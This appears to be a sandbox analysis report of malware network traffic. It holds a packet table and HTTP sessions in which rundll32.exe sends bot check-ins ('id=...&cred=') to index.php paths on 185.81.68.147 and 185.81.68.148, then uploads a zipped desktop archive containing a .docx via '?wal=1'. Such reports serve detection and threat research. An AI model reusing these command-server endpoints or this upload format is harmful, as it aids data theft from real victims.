Dec 13, 2024 07:49:28.123183012 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.123233080 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.123269081 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.123277903 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.123286009 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.123295069 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.123302937 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.123330116 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.123338938 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.123347044 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.123357058 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.123373985 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.123382092 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.123713970 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.123753071 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.123801947 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.123810053 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.123814106 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.123857975 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.123867035 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.123871088 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.123888969 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.123897076 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.123907089 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.123945951 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.123963118 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.123970032 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.123984098 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.123994112 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.124001980 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.124319077 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.124407053 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.124416113 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.124424934 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.124428034 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.124442101 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.124450922 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.124460936 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.124471903 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.124488115 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.124500990 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.124514103 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.124560118 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.124568939 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.124603987 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.124614000 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.124948978 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.124958992 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.124967098 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.124977112 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.124985933 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.125001907 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.125010967 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.125029087 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.125036955 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.125073910 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.125082970 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.125091076 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.125102043 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.125118971 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.125127077 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.125468016 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.125502110 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.125533104 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.125566959 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.125571012 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.125669003 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.125679016 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.125688076 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.125699997 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.125705957 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.126071930 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.126080990 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.126089096 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.126097918 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.126106977 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.126125097 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.126128912 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.126283884 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.126292944 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.126302004 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.126312017 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.126321077 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.126329899 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.126338005 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.126346111 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.126354933 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.126363039 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.126372099 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.126388073 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.126396894 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.126405954 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.126414061 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.126421928 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.126729012 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.126768112 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.126810074 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.126818895 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.126841068 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.126878977 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.126887083 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.126987934 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.126997948 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.127002001 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.127005100 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.127008915 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.127012968 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.127016068 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.127351046 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.127358913 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.127367020 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.127434969 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.127444029 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.127453089 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.127460957 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.127469063 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.127476931 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.127485037 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.127492905 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.127579927 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.127588987 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.127597094 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.127604961 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.127613068 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.127620935 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.127629995 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.127686977 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.127696991 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.127706051 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.127713919 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128036022 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128082991 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128098011 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128148079 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128156900 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128165960 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128177881 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128185987 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128200054 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128202915 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128206968 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128245115 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128252983 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128258944 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128289938 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128298998 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128350973 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128359079 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128367901 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128668070 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128714085 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128721952 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128731966 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128748894 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128757954 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128801107 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128809929 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128851891 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128860950 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128869057 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128897905 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128906965 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128915071 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128925085 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128954887 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128963947 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128972054 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.128983021 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.129251957 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.129290104 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.129297972 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.129332066 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.129339933 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.129363060 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.129419088 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.129426956 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.129445076 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.129452944 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.129462004 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.129472971 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.129488945 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.129549980 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.129558086 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.129601955 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.129611015 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.421139956 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.421272993 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.563551903 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:28.563702106 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:29.444408894 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:29.445041895 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:29.584785938 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:29.584836006 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:31.820780039 CET	49715	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:31.820837975 CET	49714	80	192.168.2.12	185.81.68.147

HTTP Request Dependency Graph

185.81.68.147

185.81.68.148

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.12	49710	185.81.68.147	80	6756	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 07:49:02.967263937 CET	173	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 21 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Dec 13, 2024 07:49:04.299096107 CET	198	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 14:49:03 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.12	49711	185.81.68.147	80	6780	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 07:49:02.992851019 CET	173	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 21 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Dec 13, 2024 07:49:04.319120884 CET	198	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 14:49:03 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.12	49712	185.81.68.148	80	6756	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 07:49:04.436938047 CET	176	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 21 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Dec 13, 2024 07:49:05.771838903 CET	198	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 14:49:05 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.12	49713	185.81.68.148	80	6780	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 07:49:04.441265106 CET	176	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 21 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Dec 13, 2024 07:49:05.770885944 CET	198	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 14:49:05 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.12	49714	185.81.68.147	80	2896	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 07:49:08.370584965 CET	173	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 21 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Dec 13, 2024 07:49:09.705950022 CET	198	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 14:49:09 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.12	49715	185.81.68.148	80	2896	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 07:49:09.835040092 CET	176	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 21 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Dec 13, 2024 07:49:11.165636063 CET	198	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 14:49:10 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.12	49722	185.81.68.147	80	6756	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 07:49:25.503859043 CET	169	OUT	POST /7vhfjke3/index.php?wal=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----NDYxMw== Host: 185.81.68.147 Content-Length: 4773 Cache-Control: no-cache
Dec 13, 2024 07:49:25.503942013 CET	140	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4e 44 59 78 4d 77 3d 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------NDYxMw==Content-Disposition: form-data; name="data"; filename="246122658369_Desktop.zip"Content-Type: application/octet-stream
Dec 13, 2024 07:49:25.504005909 CET	8	OUT	Data Raw: 50 4b 03 04 14 00 00 00 Data Ascii: PK
Dec 13, 2024 07:49:25.504033089 CET	8	OUT	Data Raw: 08 00 71 43 45 57 a8 98 Data Ascii: qCEW
Dec 13, 2024 07:49:25.504059076 CET	8	OUT	Data Raw: 64 29 84 02 00 00 02 04 Data Ascii: d)
Dec 13, 2024 07:49:25.504082918 CET	8	OUT	Data Raw: 00 00 17 00 00 00 5f 46 Data Ascii: _F
Dec 13, 2024 07:49:25.504106998 CET	8	OUT	Data Raw: 69 6c 65 73 5f 5c 47 41 Data Ascii: iles_\GA
Dec 13, 2024 07:49:25.504129887 CET	8	OUT	Data Raw: 4f 42 43 56 49 51 49 4a Data Ascii: OBCVIQIJ
Dec 13, 2024 07:49:25.504157066 CET	8	OUT	Data Raw: 2e 64 6f 63 78 0d 93 c7 Data Ascii: .docx
Dec 13, 2024 07:49:25.504180908 CET	8	OUT	Data Raw: 8d 45 31 08 45 f7 23 fd Data Ascii: E1E#
Dec 13, 2024 07:49:25.504213095 CET	8	OUT	Data Raw: a2 c0 39 60 83 b3 dd 7f Data Ascii: 9`
Dec 13, 2024 07:49:26.843591928 CET	198	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 14:49:26 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.12	49723	185.81.68.147	80	6780	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 07:49:26.341228008 CET	169	OUT	POST /7vhfjke3/index.php?wal=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----NDYxMw== Host: 185.81.68.147 Content-Length: 4773 Cache-Control: no-cache
Dec 13, 2024 07:49:26.341423035 CET	140	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4e 44 59 78 4d 77 3d 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------NDYxMw==Content-Disposition: form-data; name="data"; filename="246122658369_Desktop.zip"Content-Type: application/octet-stream
Dec 13, 2024 07:49:26.341423035 CET	8	OUT	Data Raw: 50 4b 03 04 14 00 00 00 Data Ascii: PK
Dec 13, 2024 07:49:26.341495991 CET	8	OUT	Data Raw: 08 00 71 43 45 57 a8 98 Data Ascii: qCEW
Dec 13, 2024 07:49:26.341495991 CET	8	OUT	Data Raw: 64 29 84 02 00 00 02 04 Data Ascii: d)
Dec 13, 2024 07:49:26.341547966 CET	8	OUT	Data Raw: 00 00 17 00 00 00 5f 46 Data Ascii: _F
Dec 13, 2024 07:49:26.341547966 CET	8	OUT	Data Raw: 69 6c 65 73 5f 5c 47 41 Data Ascii: iles_\GA
Dec 13, 2024 07:49:26.341595888 CET	8	OUT	Data Raw: 4f 42 43 56 49 51 49 4a Data Ascii: OBCVIQIJ
Dec 13, 2024 07:49:26.341595888 CET	8	OUT	Data Raw: 2e 64 6f 63 78 0d 93 c7 Data Ascii: .docx
Dec 13, 2024 07:49:26.341648102 CET	8	OUT	Data Raw: 8d 45 31 08 45 f7 23 fd Data Ascii: E1E#
Dec 13, 2024 07:49:26.341648102 CET	8	OUT	Data Raw: a2 c0 39 60 83 b3 dd 7f Data Ascii: 9`
Dec 13, 2024 07:49:27.868242979 CET	198	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 14:49:26 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.12	49724	185.81.68.148	80	6756	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 07:49:26.968409061 CET	172	OUT	POST /8Fvu5jh4DbS/index.php?wal=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----NDYxMw== Host: 185.81.68.148 Content-Length: 4773 Cache-Control: no-cache
Dec 13, 2024 07:49:26.968507051 CET	140	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4e 44 59 78 4d 77 3d 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------NDYxMw==Content-Disposition: form-data; name="data"; filename="246122658369_Desktop.zip"Content-Type: application/octet-stream
Dec 13, 2024 07:49:26.968575954 CET	8	OUT	Data Raw: 50 4b 03 04 14 00 00 00 Data Ascii: PK
Dec 13, 2024 07:49:26.968622923 CET	8	OUT	Data Raw: 08 00 71 43 45 57 a8 98 Data Ascii: qCEW
Dec 13, 2024 07:49:26.968648911 CET	8	OUT	Data Raw: 64 29 84 02 00 00 02 04 Data Ascii: d)
Dec 13, 2024 07:49:26.968678951 CET	8	OUT	Data Raw: 00 00 17 00 00 00 5f 46 Data Ascii: _F
Dec 13, 2024 07:49:26.968698978 CET	8	OUT	Data Raw: 69 6c 65 73 5f 5c 47 41 Data Ascii: iles_\GA
Dec 13, 2024 07:49:26.968730927 CET	8	OUT	Data Raw: 4f 42 43 56 49 51 49 4a Data Ascii: OBCVIQIJ
Dec 13, 2024 07:49:26.968745947 CET	8	OUT	Data Raw: 2e 64 6f 63 78 0d 93 c7 Data Ascii: .docx
Dec 13, 2024 07:49:26.968786955 CET	8	OUT	Data Raw: 8d 45 31 08 45 f7 23 fd Data Ascii: E1E#
Dec 13, 2024 07:49:26.968817949 CET	8	OUT	Data Raw: a2 c0 39 60 83 b3 dd 7f Data Ascii: 9`
